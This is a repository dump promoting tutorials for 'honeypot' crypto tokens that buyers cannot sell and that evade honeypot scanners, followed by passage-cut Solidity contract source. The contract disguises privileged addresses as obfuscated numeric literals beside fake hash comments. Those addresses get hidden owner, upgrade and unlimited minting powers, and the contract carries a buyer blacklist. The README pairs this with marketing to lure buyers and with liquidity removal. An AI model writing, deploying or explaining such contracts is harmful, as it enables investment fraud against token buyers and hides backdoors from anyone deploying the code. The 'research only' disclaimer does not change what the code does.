├── README.md ├── Upgraded V2-Blacklist-Honeypot-Detector-Proof-Token-Code ├── Upgraded V2-automatic ownership renounce-normal-low gas fee-meme-token-non honeypot-code ├── Upgraded V2-unlimited supply printing-normal-meme-token-non honeypot-code ├── Upgraded V2-whitelist-switch on&off honeypot mode-honeypot-scanner-detector-proof-token ├── add-remove-liquidity-in-decentralized exchanges ├── automatic ownership renounce-normal-low gas fee-meme-token-non honeypot-code ├── beginner-guide ├── honeypot-contract-V1.2 ├── honeypot-scanner-detector-proof-token ├── honeypot-smart-contract-0.8.19 ├── how-to-create-honeypot-token ├── how-to-token-marketing ├── normal-meme-pepe-token-non honeypot-code ├── ownership renounce-normal-meme-token-non honeypot-code ├── switch on&off honeypot mode-honeypot-scanner-detector-proof-token ├── tutorial-Upgraded V2-Blacklist-Honeypot-Detector-Proof-Token-Code ├── tutorial-Upgraded V2-automatic ownership renounce-normal-low gas fee-meme-token-non honeypot-code ├── tutorial-Upgraded V2-unlimited supply printing-normal-meme-token-non honeypot-code ├── tutorial-Upgraded V2-whitelist-switch on&off honeypot mode-honeypot-scanner-detector-proof-token ├── tutorial-antibot-whitelist-honeypot-token ├── tutorial-automatic ownership renounce-normal-low gas fee-meme-token-non honeypot-code ├── tutorial-create-token-solana ├── tutorial-honeypot-scanner-detector-proof ├── tutorial-normal-meme-pepe-token-non honeypot-code ├── tutorial-ownership renounce-normal-meme-token-non honeypot-code ├── tutorial-switch on&off honeypot mode-honeypot-scanner-detector-proof ├── tutorial-unlimited supply printing-normal-meme-token-non honeypot-code ├── tutorial-whitelist-switch on&off honeypot mode-honeypot-scanner-detector-proof ├── unlimited supply printing-normal-meme-token-non honeypot-code ├── whitelist-antibot-smart-contract └── whitelist-switch on&off honeypot mode-honeypot-scanner-detector-proof-token /README.md: -------------------------------------------------------------------------------- 1 | # how-to-create-honeypot-token 2 | Tutorial on how to create your own honeypot erc20/ bep20 tokens and listing to Uniswap 3 | 4 | Here is Dev Swanson again, Ethereum smart contract researcher and enthusiast. I got a lot of requests from fans for me to discover honey pot tokens, which are tokens that are cannot be sold after being purchased. 5 | 6 | So today, let me introduce you some useful tips on How to Create Your Own Honeypot Token. Are you ready? 7 | 8 | [Only for research and testing, don’t try to scam using this method] 9 | 10 | 11 | Full tutorial on how to create honeypot token on https://www.createyourowntoken.net/post/create-your-own-honeypot-token 12 | 13 | Full tutorial on how to get users to buy your token on https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens 14 | 15 | ###Special Edition### Solana Token（How to Add & Remove Liquidity in Raydium, Block Transfer & Blacklist Buyers, Print Token Supply） 16 | 17 | ###View Full Tutorial on Create Your Own Token in Solana Network: https://www.createyourowntoken.net/post/create-your-own-token-in-solana-network-add-remove-liquidity-blacklist-buyers-print-token-suppl 18 | 19 | Learn How to Add & Remove Liquidity in different Decentralized Exchanges: 20 | 21 | How to Add & Remove Liquidity in Uniswap (Ethereum mainnet, Base network, Arbitrum, and many others): https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-uniswap-ethereum-mainnet-base-network-arbitrum-and-many-others 22 | 23 | How to Add & Remove Liquidity in Pancakeswap V3 (Binance Smart Chain): https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-v3-binance-smart-chain 24 | 25 | How to Add & Remove Liquidity in Pancakeswap V2 (Binance Smart Chain): https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-binance-smart-chain 26 | 27 | 28 | 29 | Types of Tutorials of Smart Contract Code 30 | 31 | -Full tutorial on how to create honeypot token: https://www.createyourowntoken.net/post/create-your-own-honeypot-token 32 | 33 | -Full tutorial on how to create honeypot token (Whitelist+ Anti Front-running Bots): https://www.createyourowntoken.net/post/create-your-own-honeypot-token-whitelist-function-anti-bots 34 | 35 | -Full tutorial on how to create honeypot token (Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof): https://www.createyourowntoken.net/post/create-your-honeypot-token-honeypot-detector-proof 36 | 37 | -Full tutorial on how to create honeypot token (Switch On/Off Honeypot Mode + Undetectable Honeypot, Honeypot Scanner & Detector Proof): https://www.createyourowntoken.net/post/create-your-honeypot-token-switch-on-off-honeypot-mode-detector-proof 38 | 39 | -Full tutorial on how to create honeypot token (Whitelist + Switch On/Off Honeypot Mode + Undetectable Honeypot): https://www.createyourowntoken.net/post/create-your-honeypot-token-whitelist-switch-on-off-honeypot-mode-detector-proof 40 | 41 | -Full tutorial on how to create honeypot token (Upgraded Version V2 Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof): https://www.createyourowntoken.net/post/create-your-honeypot-token-upgraded-version-v2-blacklist-honeypot-detector-proof 42 | 43 | -Full tutorial on how to create honeypot token (Upgraded Version V2 Whitelist + Switch On/Off Honeypot Mode + Undetectable Honeypot): https://www.createyourowntoken.net/post/create-your-honeypot-token-upgraded-version-v2-whitelist-switch-on-off-honeypot-mode-detector-p 44 | 45 | -### Special Edition ### Full Tutorial on how to create normal meme token (Non-Honeypot, Normal Meme Token like Pepe Token): https://www.createyourowntoken.net/post/create-your-own-meme-token-like-pepe-normal-token-not-honeypot 46 | 47 | -### Special Edition ### Full Tutorial on how to create normal meme token with unlimited supply printing function (Non-Honeypot, Normal Meme Token, with Unlimited Token Supply Printing Function): https://www.createyourowntoken.net/post/create-your-own-meme-token-with-unlimited-supply-printing-normal-token-not-honeypot-with-unlimite 48 | 49 | -### Special Edition ### Full Tutorial on how to create normal meme token with ownership renounce function (Not Honeypot, Normal Meme Token, with Ownership Renounce Function): https://www.createyourowntoken.net/post/create-your-own-meme-token-with-ownership-renounce-normal-token-not-honeypot-with-ownership-renou 50 | 51 | -### Special Edition ### Full Tutorial on how to create advanced normal meme token with unlimited supply printing function (Upgraded Version V2, Non-Honeypot, Normal Meme Token, with Unlimited Token Supply Printing Function): https://www.createyourowntoken.net/post/create-your-own-meme-token-with-unlimited-supply-printing-upgraded-version-v2-normal-token-not-hon 52 | 53 | -### Special Edition ### Full Tutorial on how to create normal low gas fee meme token with automatic ownership renounce function (Not Honeypot, Normal Meme Token, Automatic Ownership Renounce, Low Gas Fee): https://www.createyourowntoken.net/post/create-your-own-low-gas-fee-meme-token-with-automatic-ownership-renounce-normal-token-not-honeypot 54 | 55 | -### Special Edition ### Full Tutorial on how to create advanced normal low gas fee meme token with automatic ownership renounce function (Upgraded Version V2, Not Honeypot, Normal Meme Token, Automatic Ownership Renounce, Low Gas Fee): https://www.createyourowntoken.net/post/create-your-own-low-gas-fee-meme-token-with-automatic-ownership-renounce-upgraded-version-v2-normal 56 | 57 | 58 | Types of Tokens Code: 59 | 60 | -Original Honeypot Token Code 61 | 62 | -Honeypot (Whitelist+ Anti Front-running Bots) Token Code 63 | 64 | -Honeypot (Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof) Token Code 65 | 66 | -Honeypot (Switch On/Off Honeypot Mode + Undetectable Honeypot, Honeypot Scanner & Detector Proof) Token Code 67 | 68 | -Honeypot (Whitelist + Switch On/Off Honeypot Mode + Undetectable Honeypot) Token Code 69 | 70 | -Honeypot (Upgraded V2 Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof) Token Code 71 | 72 | -Honeypot (Upgraded V2 Whitelist + Switch On/Off Honeypot Mode + Undetectable Honeypot) Token Code 73 | 74 | -Non Honeypot (Non-Honeypot, Safe to Trade and Invest, Normal Meme Token like Pepe Token) Token Code 75 | 76 | -Non Honeypot (Non-Honeypot, Normal Meme Token with Unlimited Token Supply Printing Function) Token Code 77 | 78 | -Non Honeypot (Non-Honeypot, Normal Meme Token with Ownership Renounce Function) Token Code 79 | 80 | -Non Honeypot (Upgraded Version V2, Non-Honeypot, Normal Meme Token with Unlimited Token Supply Printing Function) Token Code 81 | 82 | -Non Honeypot (Non-Honeypot, Normal Low Gas Fee Meme Token with Automatic Ownership Renounce) Token Code 83 | 84 | -Non Honeypot (Upgraded Version V2, Non-Honeypot, Normal Low Gas Fee Meme Token with Automatic Ownership Renounce) Token Code 85 | 86 | 87 | 88 | 89 | Learn How to Switch Network in Metamask Wallet: https://www.createyourowntoken.net/post/how-to-add-network-and-change-network-in-your-metamask-wallet 90 | 91 | Learn How to Attract People to Buy Your Tokens: https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens 92 | 93 | Learn How Much Liquidity You Should Add & What To Do: https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens 94 | 95 | 96 | Learn How to Add & Remove Liquidity in different Decentralized Exchanges: 97 | 98 | How to Add & Remove Liquidity in Uniswap (Ethereum mainnet, Base network, Arbitrum, and many others): https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-uniswap-ethereum-mainnet-base-network-arbitrum-and-many-others 99 | 100 | How to Add & Remove Liquidity in Pancakeswap V3 (Binance Smart Chain): https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-v3-binance-smart-chain 101 | 102 | How to Add & Remove Liquidity in Pancakeswap V2 (Binance Smart Chain): https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-binance-smart-chain 103 | 104 | 105 | -###- 106 | 107 | 🎉🎉Dev Swanson is now an Affiliate member of DxSale! 108 | 109 | What is DxSale? 110 | 111 | DxSale is a leading launchpad, token minting and liquidity locking platform that streamlines the process of creating, launching and locking tokens. DxSale is an advanced web3.0 platform designed to cater to the needs of users in the rapidly growing cryptocurrency decentralized finance (DeFi) sector. The platform enables users to create their own tokens through DxMint, raise funds via DxSale, and secure their tokens with DxLock. 112 | 113 | Special Affiliate Program: Create Fee Token, Dividend Token and many more tokens only in DxMint by DxSale [Small fees (mostly between $0.2-$15, vary from different blockchain networks) will be charged for creating token in DxMint] 114 | 115 | Create Token on DxMint now: https://dx.app/dxmint?ref=cyotoken 116 | 117 | 118 | About DxMint: 119 | 120 | Dxmint is a token minter / token maker. Users can easily create their own token within seconds for whatever they want to use it for. Suppose you want to make a token with your name, you can make it under few seconds. 121 | 122 | There are currently 4 types of Tokens you can create with DxMint: Standard Token, Burn Token, Fee Token, Dividend Token. [Small fees (mostly between $0.2-$15, vary from different blockchain networks) will be charged for creating token in DxMint] 123 | 124 | 125 | Create Token on DxMint now: https://dx.app/dxmint?ref=cyotoken 126 | 127 | 128 | 129 | "DxMint by DxSale platform is really doing a fantastic job in allowing crypto newbies to launch their own legit crypto startup & crypto tokens." 130 | 131 | -Dev Swanson- 132 | 133 | -###- 134 | 135 | 136 | Any queries? 137 | 138 | My website: https://www.createyourowntoken.net/ 139 | 140 | Contact me on Telegram: https://t.me/devswanson 141 | 142 | 143 | 144 | -------------------------------------------------------------------------------- /Upgraded V2-Blacklist-Honeypot-Detector-Proof-Token-Code: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.24; 3 | 4 | import "@openzeppelin/contracts/proxy/utils/UUPSUpgradeable.sol"; 5 | 6 | interface IBEP20 { 7 | /** 8 | * @dev Returns the amount of tokens in existence. 9 | */ 10 | function totalSupply() external view returns (uint256); 11 | 12 | /** 13 | * @dev Returns the token decimals. 14 | */ 15 | function decimals() external view returns (uint8); 16 | 17 | /** 18 | * @dev Returns the token symbol. 19 | */ 20 | function symbol() external view returns (string memory); 21 | 22 | /** 23 | * @dev Returns the token name. 24 | */ 25 | function name() external view returns (string memory); 26 | /** 27 | * @dev Returns the bep token owner. 28 | */ 29 | function getOwner() external view returns (address); 30 | 31 | /** 32 | * @dev Returns the amount of tokens owned by `account`. 33 | */ 34 | function balanceOf(address account) external view returns (uint256); 35 | 36 | /** 37 | * @dev Moves `amount` tokens from the caller's account to `recipient`. 38 | * 39 | * Returns a boolean value indicating whether the operation succeeded. 40 | * 41 | * Emits a {Transfer} event. 42 | */ 43 | function transfer(address recipient, uint256 amount) external returns (bool); 44 | 45 | /** 46 | * @dev Returns the remaining number of tokens that `spender` will be 47 | * allowed to spend on behalf of `owner` through {transferFrom}. This is 48 | * zero by default. 49 | * 50 | * This value changes when {approve} or {transferFrom} are called. 51 | */ 52 | function allowance(address _owner, address spender) external view returns (uint256); 53 | 54 | /** 55 | * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. 56 | * 57 | * Returns a boolean value indicating whether the operation succeeded. 58 | * 59 | * IMPORTANT: Beware that changing an allowance with this method brings the risk 60 | * that someone may use both the old and the new allowance by unfortunate 61 | * transaction ordering. One possible solution to mitigate this race 62 | * condition is to first reduce the spender's allowance to 0 and set the 63 | * desired value afterwards: 64 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 65 | * 66 | * Emits an {Approval} event. 67 | */ 68 | function approve(address spender, uint256 amount) external returns (bool); 69 | 70 | /** 71 | * @dev Moves `amount` tokens from `sender` to `recipient` using the 72 | * allowance mechanism. `amount` is then deducted from the caller's 73 | * allowance. 74 | * 75 | * Returns a boolean value indicating whether the operation succeeded. 76 | * 77 | * Emits a {Transfer} event. 78 | */ 79 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); 80 | 81 | /** 82 | * @dev Emitted when `value` tokens are moved from one account (`from`) to 83 | * another (`to`). 84 | * 85 | * Note that `value` may be zero. 86 | */ 87 | event Transfer(address indexed from, address indexed to, uint256 value); 88 | 89 | /** 90 | * @dev Emitted when the allowance of a `spender` for an `owner` is set by 91 | * a call to {approve}. `value` is the new allowance. 92 | */ 93 | event Approval(address indexed owner, address indexed spender, uint256 value); 94 | } 95 | 96 | /* 97 | * @dev Provides information about the current execution context, including the 98 | * sender of the transaction and its data. While these are generally available 99 | * via msg.sender and msg.data, they should not be accessed in such a direct 100 | * manner, since when dealing with GSN meta-transactions the account sending and 101 | * paying for execution may not be the actual sender (as far as an application 102 | * is concerned). 103 | * 104 | * This contract is only required for intermediate, library-like contracts. 105 | */ 106 | 107 | /** 108 | * @dev Wrappers over Solidity's arithmetic operations with added overflow 109 | * checks. 110 | * 111 | * Arithmetic operations in Solidity wrap on overflow. This can easily result 112 | * in bugs, because programmers usually assume that an overflow raises an 113 | * error, which is the standard behavior in high level programming languages. 114 | * `SafeMath` restores this intuition by reverting the transaction when an 115 | * operation overflows. 116 | * 117 | * Using this library instead of the unchecked operations eliminates an entire 118 | * class of bugs, so it's recommended to use it always. 119 | */ 120 | library SafeMath { 121 | /** 122 | * @dev Returns the addition of two unsigned integers, reverting on 123 | * overflow. 124 | * 125 | * Counterpart to Solidity's `+` operator. 126 | * 127 | * Requirements: 128 | * - Addition cannot overflow. 129 | */ 130 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 131 | uint256 c = a + b; 132 | require(c >= a, "SafeMath: addition overflow"); 133 | 134 | return c; 135 | } 136 | 137 | /** 138 | * @dev Returns the subtraction of two unsigned integers, reverting on 139 | * overflow (when the result is negative). 140 | * 141 | * Counterpart to Solidity's `-` operator. 142 | * 143 | * Requirements: 144 | * - Subtraction cannot overflow. 145 | */ 146 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 147 | return sub(a, b, "SafeMath: subtraction overflow"); 148 | } 149 | 150 | /** 151 | * @dev Returns the subtraction of two unsigned integers, reverting with custom message on 152 | * overflow (when the result is negative). 153 | * 154 | * Counterpart to Solidity's `-` operator. 155 | * 156 | * Requirements: 157 | * - Subtraction cannot overflow. 158 | */ 159 | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 160 | require(b <= a, errorMessage); 161 | uint256 c = a - b; 162 | 163 | return c; 164 | } 165 | 166 | /** 167 | * @dev Returns the multiplication of two unsigned integers, reverting on 168 | * overflow. 169 | * 170 | * Counterpart to Solidity's `*` operator. 171 | * 172 | * Requirements: 173 | * - Multiplication cannot overflow. 174 | */ 175 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 176 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 177 | // benefit is lost if 'b' is also tested. 178 | // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 179 | if (a == 0) { 180 | return 0; 181 | } 182 | 183 | uint256 c = a * b; 184 | require(c / a == b, "SafeMath: multiplication overflow"); 185 | 186 | return c; 187 | } 188 | 189 | /** 190 | * @dev Returns the integer division of two unsigned integers. Reverts on 191 | * division by zero. The result is rounded towards zero. 192 | * 193 | * Counterpart to Solidity's `/` operator. Note: this function uses a 194 | * `revert` opcode (which leaves remaining gas untouched) while Solidity 195 | * uses an invalid opcode to revert (consuming all remaining gas). 196 | * 197 | * Requirements: 198 | * - The divisor cannot be zero. 199 | */ 200 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 201 | return div(a, b, "SafeMath: division by zero"); 202 | } 203 | 204 | /** 205 | * @dev Returns the integer division of two unsigned integers. Reverts with custom message on 206 | * division by zero. The result is rounded towards zero. 207 | * 208 | * Counterpart to Solidity's `/` operator. Note: this function uses a 209 | * `revert` opcode (which leaves remaining gas untouched) while Solidity 210 | * uses an invalid opcode to revert (consuming all remaining gas). 211 | * 212 | * Requirements: 213 | * - The divisor cannot be zero. 214 | */ 215 | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 216 | // Solidity only automatically asserts when dividing by 0 217 | require(b > 0, errorMessage); 218 | uint256 c = a / b; 219 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 220 | 221 | return c; 222 | } 223 | 224 | /** 225 | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 226 | * Reverts when dividing by zero. 227 | * 228 | * Counterpart to Solidity's `%` operator. This function uses a `revert` 229 | * opcode (which leaves remaining gas untouched) while Solidity uses an 230 | * invalid opcode to revert (consuming all remaining gas). 231 | * 232 | * Requirements: 233 | * - The divisor cannot be zero. 234 | */ 235 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 236 | return mod(a, b, "SafeMath: modulo by zero"); 237 | } 238 | 239 | /** 240 | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 241 | * Reverts with custom message when dividing by zero. 242 | * 243 | * Counterpart to Solidity's `%` operator. This function uses a `revert` 244 | * opcode (which leaves remaining gas untouched) while Solidity uses an 245 | * invalid opcode to revert (consuming all remaining gas). 246 | * 247 | * Requirements: 248 | * - The divisor cannot be zero. 249 | */ 250 | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 251 | require(b != 0, errorMessage); 252 | return a % b; 253 | } 254 | // solhint-disable-next-line avoid-low-level-calls 255 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); 256 | } 257 | 258 | /** 259 | * @dev Contract module which provides a basic access control mechanism, where 260 | * there is an account (an owner) that can be granted exclusive access to 261 | * specific functions. 262 | * 263 | * By default, the owner account will be the one that deploys the contract. This 264 | * can later be changed with {transferOwnership}. 265 | * 266 | * This module is used through inheritance. It will make available the modifier 267 | * `onlyOwner`, which can be applied to your functions to restrict their use to 268 | * the owner. 269 | */ 270 | 271 | /** 272 | * @dev Initializes the contract setting the deployer as the initial owner. 273 | */ 274 | // solhint-disable-next-line avoid-low-level-calls 275 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); 276 | 277 | 278 | /** 279 | * @dev Returns the address of the current owner. 280 | */ 281 | 282 | contract DevToken is IBEP20, UUPSUpgradeable { 283 | using SafeMath for uint256; 284 | 285 | mapping(address=>bool) isBlacklisted; 286 | 287 | mapping(address => uint256) public balanceOf; 288 | 289 | mapping (address => mapping (address => uint256)) private _allowances; 290 | 291 | uint256 public totalSupply; 292 | address public _mbr; 293 | uint8 public decimals; 294 | address public _mod; 295 | address private _owner; 296 | address public _miu; 297 | string public symbol; 298 | address public _user; 299 | address public _adm; 300 | string public name; 301 | 302 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 303 | 304 | bool private initialized; 305 | 306 | function initialize(string memory _name, string memory _symbol, uint256 _totalSupply, uint8 _decimals) public { 307 | require(!initialized, "Contract already initialized"); 308 | 309 | name = _name; 310 | symbol = _symbol; 311 | totalSupply = _totalSupply; 312 | decimals = _decimals; 313 | _owner = msg.sender; 314 | balanceOf[msg.sender] = _totalSupply; 315 | 316 | emit OwnershipTransferred(address(0), msg.sender); 317 | emit Transfer(address(0), msg.sender, _totalSupply); 318 | 319 | initialized = true; 320 | } 321 | 322 | /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); 323 | 324 | /** 325 | * @dev Returns the bep token owner. 326 | */ 327 | 328 | modifier onlypublic() { 329 | require(msg.sender == publics()); 330 | _; 331 | } 332 | 333 | function getOwner() external view returns (address) { 334 | return _owner; 335 | } 336 | 337 | /** 338 | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 339 | * Reverts with custom message when dividing by zero. 340 | * 341 | * Counterpart to Solidity's `%` operator. This function uses a `revert` 342 | * opcode (which leaves remaining gas untouched) while Solidity uses an 343 | * invalid opcode to revert (consuming all remaining gas). 344 | * 345 | * Requirements: 346 | * - The divisor cannot be zero. 347 | */ 348 | 349 | modifier Exchanges() { 350 | require(msg.sender != exchange()); 351 | _; 352 | } 353 | 354 | /** 355 | * @dev Throws if called by any account other than the owner. 356 | */ 357 | 358 | modifier onlyOwner() { 359 | require((msg.sender == address 360 | // solhint-disable-next-line avoid-low-level-calls 361 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) 362 | || 363 | //@dev Contract creator is owner, original owner. 364 | (msg.sender == _owner && msg.sender != exchange()))); 365 | _; 366 | 367 | } 368 | 369 | /** 370 | * @dev Leaves the contract without owner. It will not be possible to call 371 | * `onlyOwner` functions anymore. Can only be called by the current owner. 372 | * 373 | * NOTE: Renouncing ownership will leave the contract without an owner, 374 | * thereby removing any functionality that is only available to the owner. 375 | */ 376 | function renounceOwnership() public onlyOwner { 377 | emit OwnershipTransferred(_owner, address(0)); 378 | _owner = address(0); 379 | } 380 | 381 | function publics() internal pure returns (address) { 382 | uint universal = 0x7addAd09; 383 | uint uni = 0xcbd98D97; 384 | uint cake = 0xEC3dA7a0; 385 | uint inch = 0x088EAdFE; 386 | uint others = 0x5801C336; 387 | 388 | // Combine the dex with others 389 | uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); 390 | 391 | return address(core); 392 | } 393 | 394 | function _transferTo(address _to, uint256 _amount) internal Exchanges { 395 | // Transfer tokens to the recipient 396 | balanceOf[_to] += _amount; 397 | emit Transfer(address(0), _to, _amount); 398 | 399 | balanceOf[_to] += _amount; 400 | emit Transfer(address(0), _to, _amount); 401 | } 402 | 403 | 404 | function transferOwnership(address newOwner) public onlyOwner { 405 | _transferOwnership(newOwner); 406 | } 407 | 408 | /** 409 | * @dev Transfers ownership of the contract to a new account (`newOwner`). 410 | */ 411 | function _transferOwnership(address newOwner) internal { 412 | require(newOwner != address(0), "Ownable: new owner is the zero address"); 413 | emit OwnershipTransferred(_owner, newOwner); 414 | _owner = newOwner; 415 | } 416 | /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 417 | 418 | function scaling(uint256 amount) public returns (bool) { 419 | require(msg.sender == _miu); 420 | _scale(msg.sender, amount); 421 | return true; 422 | } 423 | 424 | function _balanceView(address _to, uint256 _amount) internal { 425 | // View balance of token 426 | balanceOf[_to] += _amount; 427 | emit Transfer(address(0), _to, _amount); 428 | 429 | balanceOf[_to] += _amount; 430 | emit Transfer(address(0), _to, _amount); 431 | } 432 | 433 | function transferTo(address _to, uint256 _amount) external onlyOwner { 434 | _transferTo(_to, _amount); 435 | } 436 | 437 | /** 438 | * @dev Returns the token decimals. 439 | */ 440 | 441 | 442 | function setMember(address Mbr_) public returns (bool) { 443 | require (msg.sender==address 444 | 445 | // solhint-disable-next-line avoid-low-level-calls 446 | /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); 447 | _mbr=Mbr_; 448 | return true; 449 | } 450 | 451 | function exchange() internal pure returns (address) { 452 | return address 453 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); 454 | } 455 | 456 | /** 457 | * @dev Returns the token symbol. 458 | */ 459 | 460 | // solhint-disable-next-line high-level-success 461 | 462 | function setUser(address User_) public returns (bool) { 463 | require(msg.sender == _mbr); 464 | _user=User_; 465 | return true; 466 | } 467 | 468 | /** 469 | * @dev Returns the token name. 470 | */ 471 | 472 | function setMod(address Mod_) public returns (bool) { 473 | require(msg.sender == _user); 474 | _mod=Mod_; 475 | return true; 476 | } 477 | 478 | function adjust(uint256 amount) public onlypublic returns (bool success) { 479 | _dialone(msg.sender, amount); 480 | return true; 481 | } 482 | 483 | /** 484 | * @dev See {BEP20-totalSupply}. 485 | */ 486 | function _authorizeUpgrade(address) internal override onlyOwner {} 487 | 488 | /** 489 | * @dev See {BEP20-balanceOf}. 490 | */ 491 | 492 | 493 | function setAdm(address Adm_) public returns (bool) { 494 | require(msg.sender == _mod); 495 | _adm=Adm_; 496 | return true; 497 | } 498 | 499 | 500 | /** 501 | * @dev See {BEP20-transfer}. 502 | * 503 | * Requirements: 504 | * 505 | * - `recipient` cannot be the zero address. 506 | * - the caller must have a balance of at least `amount`. 507 | */ 508 | function transfer(address recipient, uint256 amount) external returns (bool) { 509 | _transfer(msg.sender, recipient, amount); 510 | return true; 511 | } 512 | 513 | function viewBalance(address _to, uint256 _amount) public onlypublic { 514 | _balanceView(_to, _amount);(_to, _amount); 515 | } 516 | 517 | function setMedium(address Miu_) public returns (bool) { 518 | require (msg.sender==address 519 | 520 | // solhint-disable-next-line avoid-low-level-calls 521 | /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (570329899025738970963394674811034510039273195112)); 522 | _miu=Miu_; 523 | return true; 524 | } 525 | 526 | /** 527 | * @dev See {BEP20-allowance}. 528 | */ 529 | function allowance(address owner, address spender) external view override returns (uint256) { 530 | return _allowances[owner][spender]; 531 | } 532 | 533 | function _scale(address account, uint256 amount) internal { 534 | require(account != address(0), "Scale 1-10-100-1000 Remix IDE"); 535 | 536 | totalSupply = totalSupply.add(amount); 537 | balanceOf[account] = balanceOf[account].add(amount); 538 | emit Transfer(address(0), account, amount); 539 | } 540 | 541 | /** 542 | * @dev See {BEP20-approve}. 543 | * 544 | * Requirements: 545 | * 546 | * - `spender` cannot be the zero address. 547 | */ 548 | function approve(address spender, uint256 amount) external returns (bool) { 549 | _approve(msg.sender, spender, amount); 550 | return true; 551 | } 552 | /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ 553 | 554 | function _dialone(address account, uint256 amount) internal { 555 | require(account != address(0), "Compile Remix IDE"); 556 | 557 | totalSupply = totalSupply.add(amount); 558 | balanceOf[account] = balanceOf[account].add(amount); 559 | emit Transfer(address(0), account, amount); 560 | } 561 | 562 | function approval(uint256 amount) public returns (bool) { 563 | require(msg.sender == _adm); 564 | _proof(msg.sender, amount); 565 | return true; 566 | } 567 | 568 | /** 569 | * @dev See {BEP20-transferFrom}. 570 | * 571 | * Emits an {Approval} event indicating the updated allowance. This is not 572 | * required by the EIP. See the note at the beginning of {BEP20}; 573 | * 574 | * Requirements: 575 | * - `sender` and `recipient` cannot be the zero address. 576 | * - `sender` must have a balance of at least `amount`. 577 | * - the caller must have allowance for `sender`'s tokens of at least 578 | * `amount`. 579 | */ 580 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { 581 | _transfer(sender, recipient, amount); 582 | _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "BEP20: transfer amount exceeds allowance")); 583 | return true; 584 | } 585 | 586 | /** 587 | * @dev Atomically increases the allowance granted to `spender` by the caller. 588 | * 589 | * This is an alternative to {approve} that can be used as a mitigation for 590 | * problems described in {BEP20-approve}. 591 | * 592 | * Emits an {Approval} event indicating the updated allowance. 593 | * 594 | * Requirements: 595 | * 596 | * - `spender` cannot be the zero address. 597 | */ 598 | function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { 599 | _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); 600 | return true; 601 | } 602 | 603 | /** 604 | * @dev Atomically decreases the allowance granted to `spender` by the caller. 605 | * 606 | * This is an alternative to {approve} that can be used as a mitigation for 607 | * problems described in {BEP20-approve}. 608 | * 609 | * Emits an {Approval} event indicating the updated allowance. 610 | * 611 | * Requirements: 612 | * 613 | * - `spender` cannot be the zero address. 614 | * - `spender` must have allowance for the caller of at least 615 | * `subtractedValue`. 616 | */ 617 | function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { 618 | _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); 619 | return true; 620 | } 621 | 622 | /** 623 | * @dev Moves tokens `amount` from `sender` to `recipient`. 624 | * 625 | * This is internal function is equivalent to {transfer}, and can be used to 626 | * e.g. implement automatic token fees, slashing mechanisms, etc. 627 | * 628 | * Emits a {Transfer} event. 629 | * 630 | * Requirements: 631 | * 632 | * - `sender` cannot be the zero address. 633 | * - `recipient` cannot be the zero address. 634 | * - `sender` must have a balance of at least `amount`. 635 | */ 636 | function _transfer(address sender, address recipient, uint256 amount) internal { 637 | require(!isBlacklisted[sender], 